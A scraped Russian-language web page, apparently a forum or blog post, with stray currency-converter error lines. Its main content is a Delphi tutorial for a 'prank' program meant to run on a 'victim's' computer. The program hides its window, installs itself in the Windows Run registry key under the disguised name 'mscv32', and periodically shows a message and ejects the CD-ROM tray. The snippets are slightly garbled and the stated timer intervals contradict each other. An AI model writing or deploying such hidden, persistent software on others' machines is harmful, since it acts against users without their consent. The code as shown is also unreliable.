Ошибка: Failed to parse the Currency Converter XML document. 
$21 108.22
|
Ошибка: Failed to parse the Currency Converter XML document. 
$2 201.59
|
Ошибка: Failed to parse the Currency Converter XML document. 
$802.27
|
Первый прикол на Дельфи. Голодный CD-ROM.
1 прикол: Голодный CD-Rom
Щёлкни мыщью 2 раза по форме и там пиши
application.showmainform:=false;
Это нужно, чтобы наша форма не отображалась.
Далее пишешь следующий код, для загрузки проги при запуске винды.
reg.rootkey:=hkey_local_machi ne;
reg.lazywrite := false;
reg.openkey(«softwaremicrosoftwindowscurrentversionrun»,false);
reg.writestring(«mscv32», application. exename);
reg.closekey;
reg.free;
Для работы кода в uses добавь registry, а в var reg:tregistry.
Вешай на форму часики с названием timer из палитры компонентов system. Введи значение interval=600000(10 мин.). Затем щёлкни по таймеру 2 раза и в обработчике oncreate пиши:
messagebox(getdesktopwindow,«Я голоден..!Дай диск плз =(», «cd-rom», mb_ok);
mcisendstring(«set cdaudio door open wait», nil, 0, handle);
Для работы программы в uses нужно дописать mmsystem.
Компилируй (f9) и каждые 5 минут у твоей жертвы будет выскакивать окошко, просящее диск, и открываться привод cd-rom«а.
Для того чтобы CD-Rom ещё и закрывался в нашу прогу надо дописать 1 строчку
mcisendstring(»set cdaudio door closed wait', nil, 0, handle);
Если Вам нравится мой прикол, то я сделаю следующий. Просьба оставить свои комментарии. Пока!